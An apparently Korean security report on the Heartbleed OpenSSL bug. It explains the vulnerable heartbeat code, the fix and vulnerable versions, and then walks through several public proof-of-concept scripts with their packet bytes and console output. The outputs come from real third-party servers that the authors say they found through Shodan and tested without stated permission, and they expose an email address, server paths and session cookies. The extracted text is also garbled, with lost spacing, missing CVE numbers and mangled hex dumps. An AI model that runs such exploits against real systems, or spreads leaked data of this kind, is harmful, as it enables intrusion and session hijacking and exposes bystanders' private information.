#HNS-WI CVE 버그분석 Heartbleed Bug v.01 ( 공개용 )

Transcription

1 #HNS-WI Heartbleed Bug v.01 ( 공개용 )

2 이자료는공개용버전으로, 일부내용이삭제되었거나수정되었으며, 일부내용은추가테스트과정이필요하고, 이테스트과정이끝난후업데이트될것임

3 내용요약 이보고서는 2014 년 4 월둘째주에심각한보안문제로등장한 CVE 취약점에대한분석과 proof of concept 코드테스트결과를담은것임 CVE 은일명 Heartbleed Bug 로불리는것은이취약점이 OpenSSL의 TLS/DTLS의 Heartbeat Extension을구현하는부분에서문제가발생하고, 관련정보를최초로공개한 Codenomicon에서비즈니스전략을위해피흘리는하트모양의이미지와함께 heartbleed 란용어를사용했으며, 이것이보안계에통용되었기때문임 CVE 취약점을공격할경우메모리로부터민감한정보 ( 비밀키, 패스워드, 개인정보등 ) 를확보할수있으며, 안드로이드시스템도공격 대상이될수있고, 공격자의흔적이남지않는특징이있음 취약한 OpenSSL 버전은 OpenSSL ~ 1.0.1f로, shodan을이용해검색한결과 OpenSSL 버전 1.0.1a을사용하는시스템은 554개, 1.0.1b는 1,047개, 1.0.1c는 172,127개, 1.0.1d는 27,500개, 1.0.1e는 349,561개, 1.0.1f는 11,370개였으며, proof of concept 코드로테스트한결과이들중일부는취약하지않은시스템도있었으며, 흥미로운것은 OpenSSL/1.0.1b 버전을가장많이사용하는국가는한국이었음 문제를해결하기위해 OpenSSL 1.0.1g 이상의버전으로업데이트가필요하고, yahoo 등을비롯한일부사이트의경우계정정보와패스워드등의정보가 유출되었으므로패스워드변경도필요함

4 1. 개요 CVE 취약점은 Google의연구원 Neel Mehta와보안회사 Codenomicon 1 의연구원들에의해발견되었으며, Heartbleed 버그관련정보는우리나라시간으로 4월 8일 ( 화 ) 에공개되었으며, CVE 식별자는 CVE 임 Codenomicon 사는 Heartbleed 관련웹사이트를별도로오픈하여정보를제공하고있으며, 웹사이트주소는 임 CVE 취약점이 Heartbleed Bug 로불리는것은이취약점이 OpenSSL의 TLS/DTLS의 Heartbeat Extension을구현하는부분에서문제가발생하고, 관련정보를최초로공개한 Codenomicon에서비즈니스전략을위해피흘리는하트모양의이미지와함께 heartbleed 란용어를사용했으며, 이것이보안계에통용되었기때문임 취약한 OpenSSL 버전은 OpenSSL ~ 1.0.1f, 그리고 beta1이며, OpenSSL에서 TLS/DTLS 구현이 Heartbeat Extension 패킷을적절하게핸들링하지못해발생하고, 원격공격자는이를이용해조작된패킷으로프로세스메모리에저장된민감한정보를획득할수있음 shodan을이용해검색한결과 OpenSSL 버전 1.0.1a을사용하는시스템은 554개, 1.0.1b는 1,047개, 1.0.1c는 172,127개, 1.0.1d는 27,500개, 1.0.1e는 349,561개, 1.0.1f는 11,370개였으며, proof of concept 코드로테스트한결과이들중일부는취약하지않은시스템도있었으며, 흥미로운것은 OpenSSL/1.0.1b 버전을가장많이사용하는국가는한국이었음 현재 CVE 취약점을테스트하기위해공개된 proof of concept 코드는 7개이상이며, 대부분 Jared Stafford의코드 hb-test.py 를수정한것들로, 연속수행기능을넣어한번의 heartbeat에 64KB의데이터만추출할수있는문제점을해결한 SensePost가수정한 heartbleed-poc.py 가활용도면에서가장뛰어난것으로보이며, 공개되지않은코드들중에는해커들이자신들의목적에맞게수정한것들도다수있을것으로추측됨 공격이성공할경우로그를남기지않기때문에공격을당했는지여부를확인하기쉽지않음 이문제를해결하기위해 OpenSSL 1.0.1g 에서는해당취약점이패치가되었으므로, OpenSSL 1.0.1g 이상의버전으로업데이트필요 / 22

5 2. 세부내용 1) CVE / Heartbleed Bug - 이취약점은 CVE를운영하는 MITRE( 에의해서 CVE , CVE 이라는식별번호를얻었는데, 이는동시에이취약점이발견되었기때문이며, 중복식별자사용으로인한혼란을막기위해 CVE 을공식식별자로사용하기로관련기관이결정함 - CVE 이 Heartbleed Bug 로불리는것은이취약점이 OpenSSL의 TLS/DTLS(Transport Layer Security / Datagram Transport Layer Security) 의 Heartbeat Extension(RFC ) 구현상의문제로발생하고, 관련정보를최초로공개한 Codenomicon에서기술적이유보다는비즈니스전략을위해이용어를사용했으며, 이것이보안계에통용되었기때문임 - Codenomicon의자료 3 에따르면, 실제자신들의테스트에서 Codenomiconn 은 X.509 인증을위해사용되는비밀키를확보할수있었다고주장하고있으나 Google 의연구원 Adam Langley는비밀키와같은민감한정보는유출되지않았으며, 오래된연결버퍼들 ( 쿠키등 ) 만확보할수있었다고상반된주장을하고있으며, 사용자 ID와패스워드가노출되는것을확인한자료들은공개되고있으나아직비밀키가노출되었다는자료는 4월 10일오전현재공개되지않은상태임 - 초기대응이늦었던 yahooo 의경우계정 id와패스워드정보등이노출되었음 / 22

6 - 취약한 OpenSSL 버전은 OpenSSL ~ 1.0.1f, 그리고 beta1까지로알려져있으며 4, 1.0.1g에서패치가이루어졌고, OpenSSL에서 TLS/DTLS 구현이 Heartbeat Extension 패킷을적절하게핸들링하지못해발생하고, 원격공격자는이를이용해조작된패킷으로프로세스메모리에저장된민감한정보를획득할수있음 - 취약한버전을탑재한운영체제 * Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4 * Ubuntu LTS, OpenSSL ubuntu5.11 * CentOS 6.5, OpenSSL 1.0.1e-15 * Fedora 18, OpenSSL 1.0.1e-4 * OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) & 5.4 (OpenSSL 1.0.1c 10 May 2012) * FreeBSD OpenSSL 1.0.1e 11 Feb 2013 * NetBSD (OpenSSL 1.0.1e) * OpenSUSE 12.2 (OpenSSL 1.0.1c) - 취약하지않은버전을탑재한운영체제 * Debian Squeeze (oldstable), OpenSSL 0.9.8o-4squeeze14 * SUSE Linux Enterprise Server * FreeBSD OpenSSL 0.9.8y 5 Feb 2013 * FreeBSD OpenSSL 0.9.8y 5 Feb 2013 * FreeBSD Ports - OpenSSL 1.0.1g (At 7 Apr 21:46: UTC) - TLS Heartbeat 매커니즘은데이터가전송이되지않고있을때도연결을지속하도록디자인되었으며 5, payload 길이와랜덤한데이터를가지고있는 HeartbeatRequest 메시지를한 peer가전송하면, HeartbeatRequest 메시지를받은상응하는 peer는반드시수신한 HeartbeatRequest payload와정확하게같은데이터의 HeartbeatResponse를보내야만함 6, - 이버그와관련된파일은 d1_both.c 와 t1_lib.c 로, CVE 버그를일으키는취약한 부분은다음과같음 rfc6520 에서부분발췌, The Heartbeat Extension provides a new protocol for TLS/DTLS allowing the usage of keep-alive functionality without performing a renegotiation and a basis for path MTU (PMTU) discovery for DTLS. 6 rfc6520 에서부분발췌, A HeartbeatRequest message can arrive almost at any time during the lifetime of a connection. Whenever a HeartbeatRequest message is received, it SHOULD be answered with a corresponding HeartbeatResponse message. 3 / 22

7 /* HeartbeatRequest 의데이터구조체 */ 7 struct { HeartbeatMessageType type; uint16 payload_length; opaque payload[heartbeatmessage.payload_length]; opaque padding[padding_length]; } HeartbeatMessage; /* 다음은 t1_lib.c 파일에서발췌한부분으로, CVE 취약점을초래하는부분 */ #ifndef OPENSSL_NO_HEARTBEATS int tls1_process_heartbeat(ssl *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ /* Read type and payload length first */ hbtype = *p++; n2s(p, payload); // 사용자가통제하는데이터로부터 payload 길이를읽음 pl = p; if (s->msg_callback) s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT, &s->s3->rrec.data[0], s->s3->rrec.length, s, s->msg_callback_arg); if (hbtype == TLS1_HB_REQUEST) { unsigned char *buffer, *bp; int r; /* Allocate memory for the response, size is 1 bytes * message type, plus 2 bytes payload length, plus * payload, plus padding */ buffer = OPENSSL_malloc( payload + padding); bp = buffer; /* Enter response type, length and copy payload */ *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload); // 실제 payload 크기에대한확인없이읽은 payload 길이를사용 bp += payload; /* Random padding */ RAND_pseudo_bytes(bp, padding); r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding); 7 rfc6520, 섹션 4, Heartbeat Request and Response Messages 에서발췌 4 / 22

8 - 위의코드를보면 incoming 데이터는바운드체킹을하지않는 payload 길이를포함하고있으며, OpenSSL은이에응답하기위해버퍼를할당하는데, 'payload' 데이터바이트를포인터 'pl' 로부터그버퍼에복사하지만데이터에 'payload' 바이트가실제로있는지확인하지않으며, 그래서공격자는프로세스메모리로부터 64KB의데이터 조각 을확보할수있음 - 이문제는다음과같이바운드체킹을통해해결할수있음 + /* Read type and payload length first */ + if ( > s->s3->rrec.length) + return 0; /* silently discard */ + hbtype = *p++; + n2s(p, payload); + if ( payload + 16 > s ->s3->rrec.length) + return 0; /* silently discard per RFC 6520 sec. 4 */ + pl = p; + 2) 취약점확인 / Proof of Concept 코드 / 스캐너 - 테스트를위해사용할취약한서버들은 shodan을이용해찾았으며, 유료사용자가아닐경우 shodan 웹사이트를통해검색할경우그결과값을 10개밖에볼수가없어서 shodan의파이썬의 API를이용해스캐닝코드를작성하여검색하였으며, 검색키워드는 OpenSSL 과 OpenSSL/1.0.1 로설정하였으며, OpenSSL/1.0.1 로검색했을때는정확한버전정보가나오지않아정확한버전을입력하여검색함 - 다음은취약한 OpenSSL 버전을찾기위해사용한파이썬코드임 5 / 22

9 - 파이썬스캐닝코드로검색한결과 OpenSSL 버전 1.0.1a는 554개, 1.0.1b는 1,047개, 1.0.1c는 172,127개, 1.0.1d는 27,500개, 1.0.1e는 349,561개, 1.0.1f는 11,370개였으며, proof of concept 코드로테스트한결과이들중일부는취약하지않은시스템도있어일부시스템은보안조치를실시한것으로보이며, shodan 검색엔진을이용한결과를바탕으로보면적어도 50,000개이상의시스템이취약할것으로판단됨 - 다음표는 Shodan 웹사이트를통해취약한버전들이사용되는서비스와가장많이 사용하는국가들의목록이며, 취약한시스템들이업데이트가되고있어표에서나오는 취약한시스템의수는점차줄어들것으로예상됨 6 / 22

10 - 앞의결과를보면 OpenSSL/1.0.1b 버전을가장많이사용하는국가는한국임을알수있음 #1. filippo.io/heartbleed/ 이용 - 개발자이자암호전문가인 Filippo Valsorda는 CVE 버그에취약한지여부를확인할수있는웹사이트 를공개하였으며, 해당 checker 소스코드는 7 / 22

11 - 그러나확인결과이사이트의테스트결과가정확하지않을때가있으며, 따라서이사이트를이용해취약성여부를체크하는것은정확하지않은결과와판단을내릴수있으며, 다음은국내사이트를대상으로이문제에대해확인한것임 - 위의결과에서는취약하지않다고나오지만공개된 proof of concept 코드를이용하면다음과같이정보가노출되어, 해당호스트는 CVE 버그에취약함을확인할수있음 #2. Jared Stafford의 OpenSSL heartbeat PoC, hb-test.py - 이 PoC 코드는가장먼저공개된 proof of concept 코드로, 현재다른해커들에의해수정되고있으며, 최초코드는 - hello packet 분석 hello = h2bin(''' 1: dc d : 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a cf 3: bd cc 16 0a f d4 de 00 4: c0 14 c0 0a c0 22 c : c0 0f c c0 12 c0 08 c0 1c 6: c0 1b c0 0d c a c0 13 c0 09 7: c0 1f c0 1e a : c0 0e c f c0 11 c0 07 c0 0c 9: c : ff b / 22

12 11: a e 00 0d : 00 0b 00 0c a : : f : 00 0f ''') - 라인 1: TLS header + handshake header TLS header: dc * 16 컨텐츠타입 - Handshake * TLS 버전 (1.1 / TLS 1.0 / TLS 1.2) * 00 dc 길이 ( 바운드체킹을위해사용 ) Handshake header: d * 01 handshake 타입 - Client Hello * d8 길이 ( 바운드체킹을위해사용 ) * TLS 버전 라인 1, 2, 3: 랜덤데이터 (32 byte) * 53 ~ de - 라인 3: session id * 00 - 라인 15 * 00 0f Extension 타입 (Heart Beat) 체크 * 길이 * 01 모드 - peer는 request를전송하는것이허용 - Heartbeat 패킷 hb = h2bin(''' ''') - 다음테스트결과는임의의취약한외국사이트를대상으로한것으로, 취약성여부만 확인하고, 민감한정보를악의적으로사용하지않고결과를확인후바로삭제함 ghost-2:heartbleed ghost$ python hb_test.py Usage: hb_test.py server [options] Test for SSL heartbeat vulnerability (CVE ) Options: -h, --help show this help message and exit -p PORT, --port=port TCP port to test (default: 443) -s, --starttls Check STARTTLS -d, --debug Enable debug output ghost-2:heartbleed ghost$ python hb_test.py xx.xxx.xxx.xxx Connecting... Sending Client Hello... Waiting for Server Hello received message: type = 22, ver = 0302, length = received message: type = 22, ver = 0302, length = received message: type = 22, ver = 0302, length = / 22

13 ... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request received message: type = 24, ver = 0302, length = Received heartbeat response: 0000: D B 90 9D 9B 72 0B BC 0C.@...SC[...r : BC 2B 92 A CF BD CC 16 0A H : 9F D4 DE C0 14 C0 0A C0 22 C0.w.3...f...". 0030: C0 0F C ! : 84 C0 12 C0 08 C0 1C C0 1B C0 0D C : A C0 13 C0 09 C0 1F C0 1E : 9A C0 0E C F E.D.../ : 41 C0 11 C0 07 C0 0C C A : FF : B A I a0: b0: A3 9A 6E 7F 00 00!...@...n... 03c0: 10 C0 7A 9B 6E 7F E z.n &f 03d0: 3D C D C 3D 6A 61 =serial& =ja 03e0: B 7A F cquieskz127%40ho 03f0: 74 6D C 2E 63 6F 6D B 7A 31 tmail.com.ieskz1 0400: F 74 6D C 2E 63 6F 6D 27%40hotmail.com 0410: A F 77 5F 70 6C F.7:"show_pl aceho 0420: 6C B 73 3A 30 3A B 73 3A lders";s:0:"";s: 0430: A F F F :"shortcode_ch 0440: 61 6E 6E 65 6C 5F B 73 3A 30 3A annel_id";s:0:"" 0450: 3B 73 3A A C 74 5F 61 ;s:15:"default_a 0460: 64 5F B 73 3A 30 3A B 73 d_type";s:0:"";s 0470: 3A A F 6F 67 6C 65 5F 63 6F 6C 6F :15:"google_colo 0480: 72 5F B 73 3A 37 3A r_bg" ;s:7:"#ffff 0490: B 73 3A A F 6F 67 6C 65 FF";s:19:"google 04a0: 5F 63 6F 6C 6F 72 5F 62 6F B 73 _color_border";s 04b0: 3A 37 3A B 73 3A 31 :7:"#EEEEEE";s:1 04c0: C0 BC 79 9B 6E 7F y.n... 04d0: A3 9A 6E 7F D 2E 63 6F 6D e0: A F 6F 67 6C 65...:"google 04f0: 5F 63 6F 6C 6F 72 5F C 22 3B 73 3A 37 3A _color_url";s:7: 0500: B 73 3A A 22 "#888888";s:17:" 0510: 67 6F 6F 67 6C 65 5F 63 6F 6C 6F 72 5F google_color_tex 0520: B 73 3A 37 3A t";s:7:"# " 0530: 3B 73 3A 37 3A F 6E 22 3B 73 ;s:7:"version";s 0540: 3A 33 3A E B 7D 69 3A 33 3B 61 3A :3:"1.6";}i:3;a: 0550: 36 3A 7B 73 3A 35 3A C B 73 6:{s:5:"title";s 0560: 3A 30 3A B 73 3A A :0:"";s:10:"adse 0570: 6E F B 73 3A A nse_id";s:16:" : B "; 0590: 73 3A 34 3A B 73 3A A s:4:" type";s:15: 05a0: D 73 6B "wide -skyscraper 05b0: 22 3B 73 3A 34 3A C 6F B 73 3A 31 ";s:4:"slot";s:1 05c0: 30 3A E :" d0: E0 9A 6E 7F d..n... 05e0: 78 C E 7F F 6E E 74 x...n..."content 05f0: E F0 88 D1 9A 6E 7F n : 78 C E 7F A 22 5F 6D 75 6C 74 x...n...2:"_mult 0610: C B6 79 9B 6E 7F y.n : 78 C E 7F BD 79 9B 6E 7F x...n...h.y.n : A B0 79 9B 6E 7F y.n : A3 9A 6E 7F E 74 3A 20 W 0650: 6F F E 36 ordpress/avh : 2E 33 3B A 2F 2F E 73.3; : 6E 6F E 69 6E 66 6F 0D 0A 48 6F 73 nowweb.info..hos 0680: 74 3A E F F D t: : D 2E 63 6F 6D 0D 0A spam.com..accept 06a0: 3A 20 2A 2F 2A 0D 0A 00 FF FF FF FF : */*...B... 06b0: C8 BD 79 9B 6E 7F y.n... 06c0: F p...get /api 06d0: 3F D E E E?ip= e0: D C D &f=serial&emai 06f0: 6C 3D 6A B 7A l=jacquieskz127% 0700: F 74 6D C 2E 63 6F 6D hotmail.com HT 0710: F 31 2E 30 0D 0A D TP/1.0..User -Age 10 / 22

14 0720: 6E 74 3A F F nt: WordPress/AV 0730: E 36 2E 33 3B A 2F 2F H 3.6.3; : E 73 6E 6F E 69 6E 66 6F nowweb.info 0750: 0D 0A 48 6F A E F 70..Host: : 66 6F D D 2E 63 6F 6D 0D 0A 41 forumspam.com..a 0770: A 20 2A 2F 2A 0D 0A ccept: */*..Acce 0780: D 45 6E 63 6F E 67 3A pt-encoding: def 0790: 6C B 71 3D 31 2E 30 2C F 6D 70 late;q=1.0, comp 07a0: B 71 3D 30 2E 35 0D 0A 0D 0A 3A 35 ress;q=0.5...:5 07b0: 3A 22 4C 69 6E B 73 3A 34 3A 22 6E 61 :"Linux";s:4:"na 07c0: 6D B 73 3A 37 3A F 78 me";s:7:"firefox 07d0: 22 3B 73 3A 37 3A F 6E 22 3B ";s:7:"version"; 07e0: 73 3A 36 3A E 30 2E B 73 3A 31 s:6:"14.0.1";s:1 07f0: 30 3A F C 22 3B 73 0:"update_url";s 0800: 3A A A 2F 2F E :23:" 0810: F 78 2E 63 6F 6D 2F 22 3B 73 3A firefox.com/";s: 0820: 37 3A D 67 5F B 73 3A :"img_src";s: : A C E 7F x...n : 30 B0 79 9B 6E 7F F 69 6D F 0.y.n.../images/ 0850: F F F 78 browsers/fi refox 0860: 2E 70 6E B 73 3A 60 B E 7F png";s:`...n : C E 7F a...x...n : 78 C E 7F F x...n...ordpress 0890: 2E 6F F 69 6D F F 77.org/images/brow 08a0: F F 78 2E 70 6E 67 sers/firefox.png 08b0: 22 3B 73 3A A E 74 5F ";s:15:"current_ 08c0: F 6E 22 E versi on"... 08d0: C A 7F E5 DD 4A 43 F7 D0...JC.. 3fd0: fe0: @... 3ff0: E0 F7 79 9B 6E 7F p...y.n... WARNING: server returned more data than it should - server is vulnerable! ghost-2:heartbleed ghost$ #3. Andreas Thienemann의 OpenSSL heartbeat PoC, ssltest.py - 이 PoC 코드는 Jared Stafford의 hb_test.py 코드를수정하여 64KB reading을가능하게했고, 코드실행결과를 dump 파일로저장하는기능을추가한것인데, 64KB reading을가능하게한것은앞에서취약한코드부분을설명할때언급했던것과관련있음 ghost-2:heartbleed ghost$ python ssltest.py xx.xxx.xxx.xxx Connecting... Sending Client Hello... Waiting for Server Hello... Server length: received message: type = 22, ver = 0302, length = 58 Server length: received message: type = 22, ver = 0302, length = 995 Server length: received message: type = 22, ver = 0302, length = 525 Server length: 4... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request... Server length: received message: type = 24, ver = 0302, length = Received heartbeat response: 0000: 02 FF FF D B 90 9D 9B 72 0B BC 0C...SC[...r : BC 2B 92 A CF BD CC 16 0A H : 9F D4 DE C0 14 C0 0A C0 22 C0.w.3...f...". 0030: C0 0F C ! : 84 C0 12 C0 08 C0 1C C0 1B C0 0D C / 22

15 0050: A C0 13 C0 09 C0 1F C0 1E : 9A C0 0E C F E.D.../ : 41 C0 11 C0 07 C0 0C C A : FF : B A I : A 77 6C 5F 66 6F 75...jwl_fou 0210: 72 5F F 6C F r_fifth_last/var 0220: 2F 7A E 65 6C 2F 68 6F /zpanel/hostdata 0230: 2F 7A D 69 6E 2F C F 68 /zadmin/public_h 0240: 74 6D 6C 2F 73 6E 6F F 69 6E 66 6F tml/snowweb_info 0250: 2F D 63 6F 6E E 74 2F 70 6C /wp-content/plug 0260: 69 6E 73 2F 75 6C D D E ins/ultimate -tin 0270: 79 6D F 6F F 6E 73 5F E ymce/options_fun 0280: F 6E 73 2E ctions.php0 x7f6e 0290: F B 73 3A 95ec37b6_src";s: 02a0: F1 0B E7 AA 9A 6E 7F n... 02b0: 78 C E 7F x...n... 3ff0: FF FF FF FF... Received content written to the file./dump WARNING: server returned more data than it should - server is vulnerable! Server length: received message: type = 24, ver = 0302, length = Received heartbeat response: 0000: B0 9C 6E 7F n...w : FF FF FF FF : : P : B0 1C AB 9A 6E 7F p...n : 1C E 7F AB 9A 6E 7F n...n : : B0 15 AB 9A 6E 7F A6 9B 6E 7F n...b..n : A 77 6C 5F jwl_ptag 0090: 73 5F C 6C B 5F E s_callback_funct 00a0: 69 6F 6E A 34 3A F B 73 ion.s:4:"post";s 3ff0: Received content written to the file./dump WARNING: server returned more data than it should - server is vulnerable! ghost-2:heartbleed ghost$ - 결과가저장된 dump 파일의내용은 strings 를이용해다음과같이확인할수있음 ghost-2:heartbleed ghost$ strings dump wp_admin_bar_render wp_admin_bar_wp_menu wp_admin_bar_my_account_item wp_admin_bar_my_account_menu wp_admin_bar_site_menu wp_admin_bar_my_sites_menu wp_admin_bar_shortlink_menu pass to the wp_admin_bar_edit_menu wp_admin_bar_new_content_menu wp_admin_bar_comments_menu wp_admin_bar_search_menu wp_admin_bar_add_secondary_groups wp_admin_bar_header _admin_bar_bump_cb show_admin_bar is_admin_bar_showing 12 / 22

16 _get_admin_bar_pref WP_PLUGIN_URL PLUGINDIR WPMU_PLUGIN_DIR WPMU_PLUGIN_URL MUPLUGINDIR host COOKIEHASH USER_COOKIE PASS_COOKIE AUTH_COOKIE SECURE_AUTH_COOKIE LOGGED_IN_COOKIE TEST_COOKIE COOKIEPATH k parame! SITECOOKIEPATH when to a xecution! ADMIN_COOKIE_PATH -nextgen_basic_temp h/var/zpanel/hostdata/zadmin/public_html/snowweb_info/wp -content/plugins/nextgengallery/products/photocrati_nextgen/modules/mvc/template_helper.php0x7f6e95ec21280x7f 6e95ec205 dx7f6e95ec2020io m_validation wp_admin_bar_site_menu wp_admin_bar_my_sites_menu wp_admin_bar_shortlink_menu pass to the wp_admin_bar_edit_menu wp_admin_bar_new_content_menu ghost-2:heartbleed ghost$ #4. Michael Davis의 session hijacking 공격을위한세션추출코드 - 이 PoC 코드는 에서확인할수있으며, Jared Stafford의 hb_test.py 코드를수정하여 HTTP session ID cookies를추출함 - 현재이취약점을이용해추출한 HTTPd session ID cookies 를이용해세션하이재킹 공격을실행한예가공개되어있므로, 다음링크의예를참고 #5. SensePost의수정된 OpenSSL heartbeat PoC, heartbleed-poc.py - 이 PoC 코드는 Jared Stafford의 hb_test.py 코드를수정한것으로, 앞의코드들과같은기능을하면서, 반복실행횟수를지정하여더많은정보를수집할수있으며, 그결과를별도파일로저장하여 awk, grep, pcregrep과같은툴을이용해다양한정보를추출할수있으며, 메일서버를체크하는기능도추가되었음 / 22

17 - 아래는 10 회반복실행을하며, 그결과를 dump.bin 에저장함 ghost-2:heartbleed ghost$ python heartbleed-poc.py -n10 -f dump xxx.xxx.xxx.xxx Scanning xxx.xxx.xxx.xxx on port 443 Connecting... Sending Client Hello... Waiting for Server Hello received message: type = 22, ver = 0302, length = received message: type = 22, ver = 0302, length = received message: type = 22, ver = 0302, length = received message: type = 22, ver = 0302, length = 4 Server TLS version was 1.2 Sending heartbeat request received message: type = 24, ver = 0302, length = Received heartbeat response: 0000: D B 90 9D 9B 72 0B BC 0C.@...SC[...r : BC 2B 92 A CF BD CC 16 0A H : 9F D4 DE C0 14 C0 0A C0 22 C0.w.3...f...". 0030: C0 0F C ! : 84 C0 12 C0 08 C0 1C C0 1B C0 0D C : A C0 13 C0 09 C0 1F C0 1E : 9A C0 0E C F E.D.../ : 41 C0 11 C0 07 C0 0C C A : FF : B A I a0: E 00 0D B 00 0C b0: 0A c0: F d0: F A 69...#... gzi 00e0: 70 2C C D 0A p, deflate..acce 00f0: A F D 6C 2C pt: text/html,ap 0100: 70 6C F 6E 2F D 6C 2B plication/xhtml+ 0110: 78 6D 6C 2C C F 6E 2F xml,application/ 0120: 78 6D 6C 3B 71 3D 30 2E 39 2C 2A 2F 2A 3B 71 3D xml;q=0.9,*/*;q= 0130: 30 2E 38 0D 0A D 4C 61 6E Accept-Lang 0140: A E 2D D 0A 43 6F 6E uage: en -us..con 0150: 6E F 6E 3A 20 6B D 61 6C nection: keep -al 0160: D 0A 44 4E 54 3A D 0A ive..dnt: 1..Use 0170: 72 2D E 74 3A 20 4D 6F 7A 69 6C 6C 61 r -Agent: Mozilla 0180: 2F 35 2E B /5.0 (ipad; CPU 0190: 4F F 30 5F C 69 6B D 61 OS 7_0_2 like Ma 01a0: F C c OS X) AppleWeb 01b0: 4B F E E B 48 Kit/ (KH 01c0: 54 4D 4C 2C 20 6C 69 6B B 6F 29 TML, like Gecko) 01d0: F 6E 2F 37 2E D 6F 62 Version/7. 0 Mob 01e0: 69 6C 65 2F ile/11a501 Safar 01f0: 69 2F E D 0A 0D 0A 47 4B C2 i/ gk. 0200: C2 81 8C CB F6 98 7C D4 6F 41 FF C3 92 E1 F oA : AA 2B 09 D6 7E 5F 1D AD A7 6A EF D8 A6 4B F ~_...j...K.$ 0220: 9D 46 6A 4A 39 0B B9 2E CF 8C 7B FjJ9.S...{ : 0A D 4C 61 6E Accept -Language 0240: 3A E 2D C 65 6E 3B 71 3D 30 2E 38 : en -US,en;q= : 0D 0A 43 6F 6F 6B A 20 4A Cookie: JSESSI 0260: 4F 4E D ONID=F79BE6FCBF7 0270: ADB4F1F3E200CA : E 6E F 0D 0A 0D 0A AAD34.newtwo : E8 11 3E 17 BF F 3D BB 0E 71 1D 6F >..bi/=..q.o.i 02a0: D0 3C 12 AA 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B 0B.<... 02b0: F 4E D SESSIONID=F79BE6 02c0: FCBF7ADB4F1F3E20 02d0: E 6E CA47AAD34.newtw 02e0: 6F 0D 0A 0D 0A F F 30 3D 26 o...id12_hf_0=& 02f0: 6D 6F C F 6E mobilephone%3ace 0300: 6C 6C F 6E D D 6F 62 llphone1=210&mob 0310: 69 6C F 6E C 6C 50 ilephone%3acellp 0320: 68 6F 6E D D 6F C 65 hone2=861&mobile 0330: F 6E C 6C F 6E Phone%3AcellPhon 0340: D e3=1530&issuetyp 0350: 65 3D C 31 e=1&issuede tail1 0360: 3D C 32 3D 26 =&issuedetail2=& 0370: 6F D 69 2B B 74 other=i+refuse+t 14 / 22

18 0380: 6F 2B B B 6F 6E 2B 79 6F 75 o+give+up+on+you 0390: 2B B B 69 2B +guys+because+i+ 03a0: E 6B 2B C 6C 2B think+y%27all+ar 03b0: 65 2B 6D 79 2B 73 6F 75 6C 2B e+my+soul+surviv 03c0: 6F D1 9C C2 88 B C4 81 or%27 s...$h... 03d0: CC FC 70 A9 1A "..p...e... 03e0: A A F 64 w8zy1b0cfbbj7aod 03f0: 4E D 0A 43 6F 6E E 74 2D NwgATg..Content : 4C 65 6E A D 0A 43 6F 6E 6E Length: 13..Conn 0410: F 6E 3A 20 6B D 61 6C 69 ection: keep -ali 0420: D 0A 43 6F 6F 6B A 20 4A ve..cookie: JSES 0430: F 4E D SIONID=18B688BAF 0440: EA77DB03151C : E 6E F 0D 0A 52ADC2A.newtwo : 0D 0A E BC CA 44 B1 6D 1E E4 15 F0..9W~..D.m." : A5 5A DB 5E CA 8E C2 60 9D 1C D2 A4 CB 5A 1E F7.Z.^...`...Z : 32 BA AA 1A 67 D2 E D B B g...}% : 4F 58 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D 0D OX... 04a0: D D 320&bih=460&psw= 04b0: D D 3D 320&psh=148&frm= 04c0: D C &ui=uv3sl1sr1cc 04d0: 31 2D af3st13sd13sv1 04e0: 33 2D D D st12-st12-&rur 04f0: 6C 3D l=http%3a%2f%2fw 0500: E F 6F D 79 6F D 62 ww.choose -your-b 0510: D 6F F 6E 2E 63 6F 6D est-option.com%2 0520: C D Frelated%2Fsamed 0530: D D 6C 6F 61 6E 73 2D ay -payday-loans- 0540: 6F 6E 6C 69 6E 65 2E D onlin e.htm%3fque 0550: D ry%3dsameday%2bp 0560: C 6F 61 6E ayday%2bloans%2b 0570: 4F 6E 6C 69 6E F 6B 65 Online%26afdToke 0580: 6E D F n%3dcqcbchmirbso 0590: C C A xplvvqivqu3lch0z 05a0: XwDDEAIYASAAUP7H 05b0: C yqvq35wdb1dql5ui 05c0: 55 4F C F 2D UOyXlQhQ1dO -EVDC 05d0: E 6A E v8TUP2NjRVQnuqW 05e0: D B A 51 H1CM7fwgUKi50CJQ 05f0: D 62 4C A 68 6C 55 4F a -blvdxwzhluoib 0600: 6F 33 4A A C F 5F 74 o3jq0ztclwfq8 t 0610: 6C A lwfqur2jygfqrexc 0620: A 51 7A 66 4F 38 6D 67 4E D 9wJQzfO8mgNxr6R- 0630: E F HgVptpCNAcDoVcaR 0640: D 4E A B AWPQMNy3TjtykQEU 0650: F 70 6B B 73 3eQu0Opk05E BeIKs 0660: F A 4B PAwDvfoSGQCchQJK 0670: D 4A Gyw -JScVwt1dd0dw 0680: B 50 4F 31 4A D 0wCkPO1Jd7E&ref= 0690: E http%3a%2f%2fdp. 06a0: 67 2E 64 6F C C B 2E 6E 65 g.doubleclick.ne 06b0: t%2fstatic%2fcaf 06c0: C E D 6C 0D 0A 41 %2Fsl ave.html..a 06d0: D 45 6E 63 6F E 67 3A 20 ccept -Encoding: 06e0: 67 7A C C D 0A 0D gzip, deflate... 06f0: 0A 2A 89 6F A3 5B 8A 04 CB 83 CE 10 E *.o.[...7p" 0700: EB D 58 B7 7E 5D 0C ED DB A0...=X.~]...u.6x. 3ff0: 74 2E C 5B 67 5D 7C 7C 7B 7D t.special[g] {} WARNING: server xxx.xxx.xxx.xxx returned more data than it should - server is vulnerable! ghost-2:heartbleed ghost$ - 1 회실행하였을때 dump 파일의크기는 16,384 바이트, 10 회반복실행시 180,224 바이트였으나, 100 회반복실행했을때 dump 파일의크기는 1,703,936 바이트였으며, 그 정보의양과질에서도차이가났음 15 / 22

